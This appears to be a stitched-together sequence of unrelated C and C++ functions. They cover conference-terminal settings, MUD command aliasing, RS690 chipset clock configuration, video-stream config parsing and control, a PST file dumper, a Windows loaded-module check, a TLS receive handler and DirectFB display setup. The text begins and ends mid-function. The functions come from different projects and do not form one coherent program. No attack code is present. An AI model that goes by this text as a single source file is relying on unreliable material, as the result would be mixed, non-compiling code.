find_func_command_link( MENUMENT_USE, MENU_SPK_LIMIT_NUM_SET, 0, &temp_status, 1 );
}
temp_status = set_dis_para.limit_apply_num;
if( temp_status != set_sys.apply_limit )
{
// 设置限制申请人数
find_func_command_link( MENUMENT_USE, MUNU_APPLY_LIMIT_NUM_SET, 0, &temp_status, 1 );
}
// 限时设置
terminal_limit_speak_time_set( 0, NULL, 0 );
// 设置会议讨论状态
terminal_start_discuss( false );
//更新数据库系统配置信息
system_db_update_configure_system_table( gset_sys );
}
}
terminal_main_state_send( 0, NULL, 0 );
return 0;
}
/* does aliasing and other fun stuff */
void substitute_alias(DESCRIPTOR_DATA *d, char *argument)
{
CHAR_DATA *ch;
char buf[MAX_STRING_LENGTH],prefix[MAX_INPUT_LENGTH],name[MAX_INPUT_LENGTH];
char *point;
int alias;
ch = d->original ? d->original : d->character;
if ( !ch ) return;
if ( get_spirit( ch ) )
{
interpret(d->character,argument);
return;
}
/* check for prefix */
if (ch->prefix[0] != '\0' && str_prefix("prefix",argument)) {
if (strlen(ch->prefix) + strlen(argument) > MAX_INPUT_LENGTH) {
send_to_char("Line to long, prefix not processed.\r\n",ch);
}
else {
sprintf(prefix,"%s %s",ch->prefix,argument);
argument = prefix;
}
}
if( !IS_NPC(ch)
&& HAS_RTRIGGER(ch->in_room, TRIG_INPUT)
&& rp_input_trigger(ch,argument))
return;
if( !IS_NPC(ch) && op_input_trigger(ch,argument))
return;
if (IS_NPC(ch) || ch->pcdata->alias[0] == NULL
|| !str_prefix("alias",argument) || !str_prefix("una",argument)
|| !str_prefix("prefix",argument))
{
interpret(d->character,argument);
return;
}
strcpy(buf,argument);
for (alias = 0; alias < MAX_ALIAS; alias++) /* go through the aliases */
{
if (ch->pcdata->alias[alias] == NULL)
break;
if (!str_prefix(ch->pcdata->alias[alias],argument))
{
point = one_argument(argument,name);
if (!strcmp(ch->pcdata->alias[alias],name))
{
buf[0] = '\0';
strcat(buf,ch->pcdata->alias_sub[alias]);
if(point[0]!='\0')
{
strcat(buf," ");
strcat(buf,point);
}
if (strlen(buf) > MAX_INPUT_LENGTH - 1)
{
send_to_char(
"Alias zbyt d³ugi. Przyciêto tekst.\r\n",ch);
buf[MAX_INPUT_LENGTH -1] = '\0';
}
break;
}
}
}
if( !IS_NPC(ch)
&& HAS_RTRIGGER(ch->in_room, TRIG_INPUT)
&& rp_input_trigger(ch,buf))
return;
DEBUG_INFO( "preinterp" );
interpret(d->character,buf);
}
int is_artefact( OBJ_DATA *obj )
{
DEBUG_INFO( "is_artefact" );
return is_artefact_vnum( obj->pIndexData->vnum );
}
/*
* nb_misc_clock :
* rs690 misc clock parameters setting
*/
static void nb_misc_clock(void)
{
pcitag_t clk_dev = _pci_make_tag(0, 0, 1);
pcitag_t nb_dev = _pci_make_tag(0, 0, 0);
pcitag_t gfx_dev2 = _pci_make_tag(0, 2, 0);
u8 rev = get_nb_revision();
u32 val;
/* visible CLK func */
set_nbcfg_enable_bits(nb_dev, 0x4C, 1 << 0, 1 << 0);
if(ati_nb_cfg.ext_config & EXT_DEBUG_NB_DYNAMIC_CLK){
/* disable NB dynamic clock to htiu rx */
set_nbcfg_enable_bits(clk_dev, 0xE8, 0x07 << 12, 1 << 13);
/* ENABLE : CLKGATE_DIS_GFX_TXCLK & CLKGATE_DIS_GPPSB_CCLK & CLKGATE_DIS_CFG_S1X */
set_nbcfg_enable_bits(clk_dev, 0x94, (1 << 16) | (1 << 24) | (1 << 28), 0);
/* ENABEL : CLKDATE_DIS_IOC_CCLK_MST/SLV, enabel clkdate for C/MCLK goto BIF branch */
set_nbcfg_enable_bits(clk_dev, 0x8C, (1 << 13) | (1 << 14) | (1 << 24) | (1 << 25), 0);
if(rev < REV_RS690_A21){
/* CKLGATE_DIS_IO_CCLK_MST */
set_nbcfg_enable_bits(clk_dev, 0x8C, 1 << 13, 1 << 13);
}
/* Powering Down efuse and strap block clocks in GFX mode as default */
set_nbcfg_enable_bits(clk_dev, 0xCC, 1 << 24, 1 << 24);
/* dynamic clock setting for MC and HTIU */
val = nbmc_read_index(nb_dev, 0x7A);
val &= 0xffffffc0;
val |= 1 << 2;
if(rev >= REV_RS690_A21){
val &= ~(1 << 6);
set_htiu_enable_bits(nb_dev, 0x05, 1 << 11, 1 << 11);
}
nbmc_write_index(nb_dev, 0x7A, val);
if(ati_nb_cfg.gfx_config & (GFX_SP_ENABLE | GFX_UMA_ENABLE)){
/* Powering Down efuse and strap block clocks in GFX mode : PWM???*/
set_nbcfg_enable_bits(clk_dev, 0xCC, (1 << 23) | (1 << 24), 1 << 24);
}else{
/* nb only mode */
/* Powers down reference clock to graphics core PLL */
set_nbcfg_enable_bits(clk_dev, 0x8C, 1 << 21, 1 << 21);
/* Powering Down efuse and strap block clocks after boot-up */
set_nbcfg_enable_bits(clk_dev, 0xCC, (1 << 23) | (1 << 24), (1 << 23) | (1 << 24));
/* powerdown clock to MC */
set_nbcfg_enable_bits(clk_dev, 0xE4, 1 << 0, 1 << 0);
}
if(ati_nb_cfg.pcie_gfx_info == 0){
if(_pci_conf_read(gfx_dev2, 0x00) == 0xffffffff){
/* Powerdown GFX ports clock when no external GFX detected */
set_nbcfg_enable_bits(clk_dev, 0xE8, 1 << 17, 1 << 17);
}
}
}
/* hide CLK func */
set_nbcfg_enable_bits(nb_dev, 0x4C, 1 << 0, 0 << 0);
if(rev >= REV_RS690_A21){
set_htiu_enable_bits(nb_dev, 0x05, (1 << 8) | (1 << 9), (1 << 8) | (1 << 9));
set_htiu_enable_bits(nb_dev, 0x05, (1 << 10), (1 << 10));
}
DEBUG_INFO("NB POST STAGE : nb_misc_clock function : should we use PWM for efuse and strap powerdown?\n");
return;
}
int GetStreamInfo(const char* conffile,std::vector<SysPkgEncodeCfg*>& cfgs)
{
SysPkgEncodeCfg* pNewCfg=NULL;
GMI_RESULT gmiret;
FD_HANDLE xmlhd=NULL;
int ret,count =0;
unsigned int i;
int maxpath=1024;
std::auto_ptr<char> pFmtPath2(new char[maxpath]);
char *pFmtPath = pFmtPath2.get();
int streamlen =32;
std::auto_ptr<char> pFmtStream2(new char[streamlen]);
char *pFmtStream = pFmtStream2.get();
int value;
if (cfgs.size() > 0)
{
ERROR_INFO("\n");
return -EINVAL;
}
gmiret = GMI_XmlOpen(conffile,&xmlhd);
if (gmiret != GMI_SUCCESS)
{
ret =-EIO;
ERROR_INFO("\n");
goto fail;
}
gmiret = GMI_XmlRead(xmlhd,STREAM_ENCODE_PATH,STREAM_NUM_ITEM,0,&count,GMI_CONFIG_READ_ONLY);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
ERROR_INFO("\n");
goto fail;
}
DEBUG_INFO("[%s].[%s]count %d\n",STREAM_ENCODE_PATH,STREAM_NUM_ITEM,count);
for (i= 0 ; i < (unsigned int)count ; i ++)
{
ret = snprintf(pFmtStream,streamlen,"Stream%d",i);
if (ret < 0)
{
ret = -errno ? -errno : -1;
ERROR_INFO("\n");
goto fail;
}
if (ret >= streamlen)
{
ret = -ENOSPC;
ERROR_INFO("\n");
goto fail;
}
ret = snprintf(pFmtPath,maxpath,"%s%s/",STREAM_ENCODE_PATH,pFmtStream);
if (ret < 0)
{
ret = -errno ? -errno : -1;
ERROR_INFO("\n");
goto fail;
}
if (ret >= maxpath)
{
ret = -ENOSPC;
ERROR_INFO("\n");
goto fail;
}
assert(pNewCfg == NULL);
pNewCfg = (typeof(pNewCfg))calloc(sizeof(*pNewCfg),1);
if (pNewCfg == NULL)
{
ret = -ENOMEM;
ERROR_INFO("\n");
goto fail;
}
pNewCfg->s_VideoId = 1;
gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_ENCODETYPE_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
ERROR_INFO("\n");
goto fail;
}
switch(value)
{
case 1:
pNewCfg->s_Compression = SYS_COMP_H264;
break;
case 2:
pNewCfg->s_Compression = SYS_COMP_MJPEG;
break;
default:
ret = -EINVAL;
ERROR_INFO("%s/%svalue %d\n",pFmtPath,STREAM_ENCODETYPE_ITEM,value);
goto fail;
}
gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_STREAMTYPE_ITEM,1,&value,GMI_CONFIG_READ_ONLY);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ?-errno : -1;
ERROR_INFO("\n");
goto fail;
}
pNewCfg->s_StreamType = value;
gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_ENCODEWITH_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
ERROR_INFO("\n");
goto fail;
}
pNewCfg->s_PicWidth = value;
gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_ENCODEHEIGHT_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
ERROR_INFO("\n");
goto fail;
}
pNewCfg->s_PicHeight = value;
gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_BITRATETYPE_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
ERROR_INFO("\n");
goto fail;
}
pNewCfg->s_BitrateCtrl = value;
gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_BITRATEAVERAGE_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
ERROR_INFO("\n");
goto fail;
}
pNewCfg->s_BitRateAverage = value;
gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_BITRATEUP_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
ERROR_INFO("\n");
goto fail;
}
pNewCfg->s_BitRateUp= value;
gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_BITRATEDOWN_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
ERROR_INFO("\n");
goto fail;
}
pNewCfg->s_BitRateDown= value;
gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_FRAMERATE_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
ERROR_INFO("\n");
goto fail;
}
pNewCfg->s_FPS = value;
gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_FRAMEINTERVAL_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
ERROR_INFO("\n");
goto fail;
}
pNewCfg->s_Gop= value;
gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_ENCODEQUALITY_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
ERROR_INFO("\n");
goto fail;
}
pNewCfg->s_Quality = value;
gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_ROTATE_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
ERROR_INFO("\n");
goto fail;
}
pNewCfg->s_Rotate= value;
pNewCfg->s_Flag = i;
DebugSysPkgEncodeCfg(pNewCfg);
cfgs.push_back(pNewCfg);
pNewCfg = NULL;
}
assert(pNewCfg == NULL);
assert((int)cfgs.size() == count);
GMI_XmlFileSave(xmlhd);
xmlhd = NULL;
return count;
fail:
if (pNewCfg)
{
free(pNewCfg);
}
pNewCfg = NULL;
while(cfgs.size() > 0)
{
pNewCfg = cfgs[0];
cfgs.erase(cfgs.begin());
free(pNewCfg);
pNewCfg = NULL;
}
if (xmlhd)
{
GMI_XmlFileSave(xmlhd);
}
xmlhd = NULL;
return ret;
}
int main(int argc, char* const* argv)
{
// pass the id number to display on the command line
char *fname, *sid;
uint64_t i_id;
int c;
DEBUG_INIT("getidblock.log", NULL);
DEBUG_ENT("main");
while ((c = getopt(argc, argv, "bp")) != -1) {
switch (c) {
case 'b':
// enable binary output
binary = 1;
break;
case 'p':
// enable procesing of block
process = 1;
break;
default:
usage();
exit(EXIT_FAILURE);
}
}
if (optind + 1 >= argc) {
// no more items on the cmd
usage();
exit(EXIT_FAILURE);
}
fname = argv[optind];
sid = argv[optind + 1];
i_id = (uint64_t)strtoll(sid, NULL, 0);
DEBUG_INFO(("Opening file\n"));
memset(&pstfile, 0, sizeof(pstfile));
if (pst_open(&pstfile, fname, NULL)) {
DIE(("Error opening file\n"));
}
DEBUG_INFO(("Loading Index\n"));
if (pst_load_index(&pstfile) != 0) {
DIE(("Error loading file index\n"));
}
if (i_id) {
dumper(i_id);
}
else {
pst_index_ll *ptr = pstfile.i_head;
while (ptr) {
dumper(ptr->i_id);
ptr = ptr->next;
}
dump_desc(pstfile.d_head, NULL);
}
if (pst_close(&pstfile) != 0) {
DIE(("pst_close failed\n"));
}
DEBUG_RET();
return 0;
}
int main(int argc,char* argv[])
{
int ret;
GMI_RESULT gmiret;
std::vector<SysPkgEncodeCfg*> cfgs;
std::vector<SysPkgAudioEncodeCfg*> audiocfgs;
std::auto_ptr<SysPkgEncodeCfg> pCfgs2(new SysPkgEncodeCfg);
std::auto_ptr<SysPkgAudioEncodeCfg> pAudio2(new SysPkgAudioEncodeCfg);
SysPkgAudioEncodeCfg *pAudios=pAudio2.get();
SysPkgEncodeCfg* pCfgs=pCfgs2.get();
unsigned int i;
FD_HANDLE hd=NULL;
int sdkport=-1;
int localport=-1;
if (argc < 2)
{
Usage(3,NULL);
}
if (argc >= 4)
{
localport = atoi(argv[3]);
}
else
{
localport = __GetBindPort();
}
if (argc >= 5)
{
sdkport = atoi(argv[4]);
}
else
{
sdkport = __GetSdkPort();
}
hd = GMI_RudpSocket(localport);
if (hd ==NULL)
{
ret = -errno ? -errno : -1;
ERROR_INFO("could not bind port %d\n",localport);
goto out;
}
DEBUG_INFO("localport %d sdkport %d\n",localport ,sdkport);
if (strcmp(argv[1],"--start") == 0)
{
if (argc < 3)
{
Usage(3,"%s need config file",argv[1]);
}
ret = GetStreamInfo(argv[2],cfgs);
if (ret < 0)
{
ERROR_INFO("\n");
goto out;
}
ret = GetAudioInfo(argv[2],audiocfgs);
if (ret < 0)
{
ERROR_INFO("\n");
goto out;
}
pCfgs2.reset(new SysPkgEncodeCfg[cfgs.size()]);
pCfgs = pCfgs2.get();
pAudio2.reset(new SysPkgAudioEncodeCfg[audiocfgs.size()]);
pAudios = pAudio2.get();
for (i=0; i<cfgs.size(); i++)
{
memcpy(&(pCfgs[i]),cfgs[i],sizeof(*pCfgs));
}
for (i=0;i<audiocfgs.size();i++)
{
memcpy(&(pAudios[i]),audiocfgs[i],sizeof(*pAudios));
}
gmiret = StartStreamTransfer(hd,sdkport,pCfgs,cfgs.size(),pAudios,audiocfgs.size(),10);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
ERROR_INFO("\n");
goto out;
}
fprintf(stdout,"start succ\n");
}
else if (strcmp(argv[1],"--stop") == 0)
{
gmiret = StopStreamTransfer(hd,sdkport,10);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
goto out;
}
fprintf(stdout,"stop succ\n");
}
else if (strcmp(argv[1],"--resume") == 0)
{
if (argc < 3)
{
Usage(3,"%s need config file",argv[1]);
}
ret = GetStreamInfo(argv[2],cfgs);
if (ret < 0)
{
goto out;
}
ret = GetAudioInfo(argv[2],audiocfgs);
if (ret < 0)
{
ERROR_INFO("\n");
goto out;
}
pCfgs2.reset(new SysPkgEncodeCfg[cfgs.size()]);
pCfgs = pCfgs2.get();
pAudio2.reset(new SysPkgAudioEncodeCfg[audiocfgs.size()]);
pAudios = pAudio2.get();
for (i=0; i<cfgs.size(); i++)
{
memcpy(&(pCfgs[i]),cfgs[i],sizeof(*pCfgs));
}
for (i=0;i<audiocfgs.size();i++)
{
memcpy(&(pAudios[i]),audiocfgs[i],sizeof(*pAudios));
}
gmiret = ResumeStreamTransfer(hd,sdkport,pCfgs,cfgs.size(),pAudios,audiocfgs.size(),10);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
goto out;
}
fprintf(stdout,"resume succ\n");
}
else if (strcmp(argv[1],"--pause") == 0)
{
gmiret = PauseStreamTransfer(hd,sdkport,10);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
goto out;
}
fprintf(stdout,"pause succ\n");
}
else if (strcmp(argv[1],"--query")==0)
{
int started;
gmiret = QueryStreamTransfer(hd,sdkport,10,&started);
if (gmiret != GMI_SUCCESS)
{
ret = -errno ? -errno : -1;
goto out;
}
fprintf(stdout,"stream state %d\n",started);
}
else
{
Usage(3,NULL);
}
out:
if (hd != NULL)
{
GMI_RudpSocketClose(hd);
}
hd = NULL;
return ret;
}
int __CheckProcessIdModuleInserted(unsigned int procid,const char* pPartDll)
{
HANDLE hModSnap=INVALID_HANDLE_VALUE;
int ret;
BOOL bret;
char* pCmpDllName=NULL;
MODULEENTRY32 mentry;
int curnum=0;
#ifdef _UNICODE
int cmpdllnamesize=0;
#endif
try_again:
hModSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,procid);
if(hModSnap == INVALID_HANDLE_VALUE)
{
ret = LAST_ERROR_CODE();
if(ret != ERROR_BAD_LENGTH)
{
//ERROR_INFO("[%d] snap module error(%d)\n",procid,ret);
goto fail;
}
/*we try again for next use*/
goto try_again;
}
mentry.dwSize = sizeof(mentry);
bret = Module32First(hModSnap,&mentry);
if(!bret)
{
ret = LAST_ERROR_CODE();
ERROR_INFO("[%d] first error(%d)\n",procid,ret);
goto fail;
}
#ifdef _UNICODE
ret = UnicodeToAnsi(mentry.szModule,&pCmpDllName,&cmpdllnamesize);
if(ret < 0)
{
ret = LAST_ERROR_CODE();
ERROR_INFO("[%d]:[%d] get module name error(%d)\n",procid,curnum,ret);
goto fail;
}
#else
pCmpDllName = mentry.szModule;
#endif
//DEBUG_INFO("[%d]:[%d] modname %s partdll %s\n",procid,curnum,pCmpDllName,pPartDll);
if(_stricmp(pCmpDllName,pPartDll)==0)
{
DEBUG_INFO("[%d] find %s\n",procid,pPartDll);
goto findout;
}
curnum ++;
while(Module32Next(hModSnap,&mentry))
{
#ifdef _UNICODE
ret = UnicodeToAnsi(mentry.szModule,&pCmpDllName,&cmpdllnamesize);
if(ret < 0)
{
ret = LAST_ERROR_CODE();
ERROR_INFO("[%d]:[%d] get module name error(%d)\n",procid,curnum,ret);
goto fail;
}
#else
pCmpDllName = mentry.szModule;
#endif
//DEBUG_INFO("[%d]:[%d] modname %s partdll %s\n",procid,curnum,pCmpDllName,pPartDll);
if(_stricmp(pCmpDllName,pPartDll)==0)
{
DEBUG_INFO("[%d] find %s\n",procid,pPartDll);
goto findout;
}
curnum ++;
}
#ifdef _UNICODE
UnicodeToAnsi(NULL,&pCmpDllName,&cmpdllnamesize);
#endif
if(hModSnap != INVALID_HANDLE_VALUE)
{
CloseHandle(hModSnap);
}
hModSnap = INVALID_HANDLE_VALUE;
return 0;
findout:
#ifdef _UNICODE
UnicodeToAnsi(NULL,&pCmpDllName,&cmpdllnamesize);
#endif
if(hModSnap != INVALID_HANDLE_VALUE)
{
CloseHandle(hModSnap);
}
hModSnap = INVALID_HANDLE_VALUE;
return 1;
fail:
#ifdef _UNICODE
UnicodeToAnsi(NULL,&pCmpDllName,&cmpdllnamesize);
#endif
if(hModSnap != INVALID_HANDLE_VALUE)
{
CloseHandle(hModSnap);
}
hModSnap = INVALID_HANDLE_VALUE;
SetLastError(ret);
return -ret;
}
int SdkServerStream::__InitIPC()
{
int startport,serverport;
GMI_RESULT gmiret;
uint32_t type;
int i;
startport = this->__GetClientStartPort();
serverport = this->__GetServerPort();
//TODO we need to get startport and server here
/*now first to initialize*/
for(i=0; i<100; i++)
{
gmiret = this->m_IPCClient.Initialize(startport + i,GM_STREAM_APPLICATION_ID);
if(gmiret == GMI_SUCCESS)
{
DEBUG_INFO("Initialize Port (%d)\n",startport + i);
break;
}
}
if(gmiret != GMI_SUCCESS)
{
return -EFAULT;
}
this->m_Initialized = 1;
serverport += this->m_StreamId;
if(this->m_Type == SYS_COMP_H264)
{
type = MEDIA_VIDEO_H264;
}
else if(this->m_Type == SYS_COMP_MJPEG)
{
type = MEDIA_VIDEO_MJPEG;
}
else if(this->m_Type == SYS_COMP_MPEG4)
{
type = MEDIA_VIDEO_MPEG4;
}
else
{
this->__ClearIPC();
return -EFAULT;
}
#ifdef STREAM_PULL_MODE
gmiret = this->m_IPCClient.Register(serverport,type,this->m_StreamId,true,NULL,NULL);
#else
gmiret = GMI_FAIL;
#endif
if(gmiret != GMI_SUCCESS)
{
ERROR_INFO("register port %d at streamid %d error 0x%08lx\n",
serverport,this->m_StreamId,gmiret);
this->__ClearIPC();
return -EFAULT;
}
this->m_Registered = 1;
return 0;
}
static bool recv_handler(int *err, struct mbuf *mb, bool *estab, void *arg)
{
struct tls_conn *tc = arg;
int r;
/* feed SSL data to the BIO */
r = BIO_write(tc->sbio_in, mbuf_buf(mb), (int)mbuf_get_left(mb));
if (r <= 0) {
DEBUG_WARNING("recv: BIO_write %d\n", r);
*err = ENOMEM;
return true;
}
if (SSL_state(tc->ssl) != SSL_ST_OK) {
if (tc->up) {
*err = EPROTO;
return true;
}
if (tc->active) {
*err = tls_connect(tc);
}
else {
*err = tls_accept(tc);
}
DEBUG_INFO("state=0x%04x\n", SSL_state(tc->ssl));
/* TLS connection is established */
if (SSL_state(tc->ssl) != SSL_ST_OK)
return true;
*estab = true;
tc->up = true;
}
mbuf_set_pos(mb, 0);
for (;;) {
int n;
if (mbuf_get_space(mb) < 4096) {
*err = mbuf_resize(mb, mb->size + 8192);
if (*err)
return true;
}
n = SSL_read(tc->ssl, mbuf_buf(mb), (int)mbuf_get_space(mb));
if (n < 0) {
const int ssl_err = SSL_get_error(tc->ssl, n);
switch (ssl_err) {
case SSL_ERROR_WANT_READ:
break;
default:
*err = EPROTO;
return true;
}
break;
}
else if (n == 0)
break;
mb->pos += n;
}
mbuf_set_end(mb, mb->pos);
mbuf_set_pos(mb, 0);
return false;
}
int SdkServerStream::__PushStreamData(void * pData,uint32_t datalen,uint32_t datatype,uint32_t idx,uint64_t pts)
{
GMI_RESULT gmiret;
int ret = 0;
void* pDiscardPtr=NULL;
int discardidx = -1;
unsigned int i,fidx;
uint32_t didx;
//DEBUG_INFO("push data idx(0x%x) type(%d) pts(0x%llx)\n",idx,datatype,pts);
gmiret = this->m_Mutex.Lock(TIMEOUT_INFINITE);
SDK_ASSERT(gmiret == GMI_SUCCESS);
SIZE_EQUAL_ASSERT();
if(this->m_DataVec.size() < this->m_MaxPacks)
{
ret = 1;
this->m_DataIdx.push_back(idx);
this->m_DataLen.push_back(datalen);
this->m_DataVec.push_back(pData);
this->m_DataType.push_back(datatype);
this->m_DataPts.push_back(pts);
}
else if(datatype == I_FRAME_TYPE)
{
fidx = this->m_DataType.size();
fidx -= 1;
discardidx= -1;
/*first to find the last p-frame ,if not success ,just get the oldest i-frame*/
for(i=0; i<this->m_DataType.size(); i++)
{
if(this->m_DataType[fidx - i] != I_FRAME_TYPE)
{
discardidx = fidx - i;
break;
}
}
/*if all is i-frame ,just discard the first one*/
if(discardidx < 0)
{
discardidx = 0;
}
pDiscardPtr = this->m_DataVec[discardidx];
didx = this->m_DataIdx[discardidx];
/*erase the old one*/
this->m_DataVec.erase(this->m_DataVec.begin()+discardidx);
this->m_DataIdx.erase(this->m_DataIdx.begin()+discardidx);
this->m_DataType.erase(this->m_DataType.begin()+discardidx);
this->m_DataLen.erase(this->m_DataLen.begin()+discardidx);
this->m_DataPts.erase(this->m_DataPts.begin()+discardidx);
this->m_DataVec.push_back(pData);
this->m_DataIdx.push_back(idx);
this->m_DataLen.push_back(datalen);
this->m_DataType.push_back(datatype);
this->m_DataPts.push_back(pts);
ret = 1;
}
this->m_Mutex.Unlock();
if(pDiscardPtr)
{
SDK_ASSERT(ret > 0);
DEBUG_INFO("DISCARD 0x%08x\n",didx);
free(pDiscardPtr);
pDiscardPtr = NULL;
}
return ret;
}
G_GNUC_INTERNAL
gboolean
_mdw_default_player_display_init(MdwDefaultPlayerDisplay** p_display, GError** error)
{
g_assert(p_display != NULL && *p_display == NULL);
g_assert(error == NULL || *error == NULL);
DFBResult err;
MdwDefaultPlayerDisplay* display = g_new0(MdwDefaultPlayerDisplay, 1);
DEBUG_INFO("Initing DirectFB by DirectFBInit");
if (G_UNLIKELY((err = DirectFBInit(NULL, NULL)) != DFB_OK)) {
_mdw_default_player_display_finalize(&display);
g_assert(display == NULL);
MDW_DEFAULT_PLAYER_RAISE_ERROR_DISPLAY(error,
"DirectFBInit failed:%s", DirectFBErrorString(err));
}
DEBUG_INFO("Creating DirectFB super interface");
if (G_UNLIKELY((err = DirectFBCreate(&display->dfb)) != DFB_OK)) {
_mdw_default_player_display_finalize(&display);
g_assert(display == NULL);
MDW_DEFAULT_PLAYER_RAISE_ERROR_DISPLAY(error,
"DirectFBCreate failed:%s", DirectFBErrorString(err));
}
DEBUG_INFO("Getting DirectFB layer number: %u", VIDEO_LAYER);
if (G_UNLIKELY((err = display->dfb->GetDisplayLayer(display->dfb, DLID_PRIMARY, &display->layer)) != DFB_OK)) {
_mdw_default_player_display_finalize(&display);
g_assert(display == 0);
MDW_DEFAULT_PLAYER_RAISE_ERROR_DISPLAY(error,
"GetDisplayLayer failed:%s", DirectFBErrorString(err));
}
DEBUG_INFO("Getting the configuration of video layer");
DFBDisplayLayerConfig config;
if (G_UNLIKELY((err = display->layer->GetConfiguration(display->layer, &config)) != DFB_OK)) {
_mdw_default_player_display_finalize(&display);
g_assert(display == NULL);
MDW_DEFAULT_PLAYER_RAISE_ERROR_DISPLAY(error,
"GetConfiguration failed:%s", DirectFBErrorString(err));
}
DEBUG_INFO("Maximum width %d, Maximum height: %d", config.width, config.height);
display->max_w = config.width;
display->max_h = config.height;
DEBUG_INFO("Creating a window");
DFBWindowDescription wdesc;
wdesc.flags = DWDESC_WIDTH | DWDESC_HEIGHT | DWDESC_POSX | DWDESC_POSY | DWDESC_CAPS | DWDESC_PIXELFORMAT;
wdesc.width = display->max_w;
wdesc.height = display->max_h;
wdesc.posx = 0;
wdesc.posy = 0;
wdesc.caps = DWCAPS_NODECORATION;
wdesc.pixelformat = DSPF_RGB32;
if (G_UNLIKELY((err = display->layer->CreateWindow(display->layer, &wdesc, &display->window)) != DFB_OK)) {
_mdw_default_player_display_finalize(&display);
g_assert(display == NULL);
MDW_DEFAULT_PLAYER_RAISE_ERROR_DISPLAY(error,
"CreateWindow failed:%s", DirectFBErrorString(err));
}
display->window->SetOpacity(display->window, 0xFF);
display->w = wdesc.width;
display->h = wdesc.height;
display->x = wdesc.posx;
display->y = wdesc.posy;
DEBUG_INFO("Getting the surface associated with my window");
if (G_UNLIKELY((err = display->window->GetSurface(display->window, &display->surface)) != DFB_OK)) {
_mdw_default_player_display_finalize(&display);
g_assert(display == NULL);
MDW_DEFAULT_PLAYER_RAISE_ERROR_DISPLAY(error,
"GetSurface failed:%s", DirectFBErrorString(err));
}
display->surface->Clear(display->surface, 0x30, 0x80, 0x30, 0xFF);
display->surface->Flip(display->surface, NULL, 0);
DEBUG_INFO("DirectFB full inited");
*p_display = display;
display->main_queue = g_async_queue_new();
display->directfb_queue = g_async_queue_new();
DEBUG_INFO("Initing display thread");
display->directfb_thread = g_thread_create(_do_display, display, FALSE, error);
if (G_UNLIKELY(display->directfb_thread == NULL)) {
g_assert (error == NULL || *error != NULL);
_mdw_default_player_display_finalize(&display);
g_assert(display == NULL);
/*MDW_DEFAULT_PLAYER_RAISE_ERROR_DISPLAY(error,
"g_thread_create failed");*/
return FALSE;
}
/* wait for thread init */
/* TODO: implement like mdw_default_player_decoder_ffmpeg.c to handler thread errors while initing */
MdwMessage* message;
message = mdw_message_get(display->main_queue, TRUE);
if (message->type != MDW_MESSAGE_TYPE_READY) {
mdw_message_free(message, TRUE);
_mdw_default_player_display_finalize(&display);
g_assert(display == NULL);
MDW_DEFAULT_PLAYER_RAISE_ERROR_DISPLAY(error,
"failed to init directfb thread");
}
mdw_message_free(message, TRUE);
g_assert(g_async_queue_length(display->main_queue) == 0);
return TRUE;
}
void* SdkServerStream::ThreadImpl()
{
int ret;
void* pBuf=NULL;
uint32_t buflen=0;
uint32_t bufsize = (1<<21);
int infosize = 1024,inputsize;
uint32_t type;
uint32_t idx;
uint64_t pts,lastidx=MAX_ULONGLONG;
GMI_RESULT gmiret;
std::auto_ptr<unsigned char> pExInfo2(new unsigned char[infosize]);
unsigned char *pExInfo=pExInfo2.get();
struct timeval tmval;
struct timespec tmspec;
unsigned long long lastgetpts=0,getpts;
while(this->m_ThreadRunning)
{
SDK_ASSERT(pBuf == NULL);
SDK_ASSERT(buflen == 0);
pBuf = malloc(bufsize);
if(pBuf ==NULL)
{
ret = -errno ? -errno : -1;
goto out;
}
buflen = bufsize;
inputsize= infosize;
gmiret = this->m_IPCClient.Read(pBuf,(size_t*)&buflen,&tmval,pExInfo,(size_t*)&inputsize);
if(gmiret==GMI_SUCCESS)
{
ExtMediaEncInfo* pInfo=(ExtMediaEncInfo*)pExInfo;
type = P_FRAME_TYPE;
idx = pInfo->s_FrameNum;
if(lastidx != MAX_ULONGLONG)
{
if(lastidx != MAX_ULONG && (lastidx +1)!= idx)
{
DEBUG_INFO("DISCARD lastidx 0x%08x idx 0x%08x\n",(uint32_t)lastidx,idx);
}
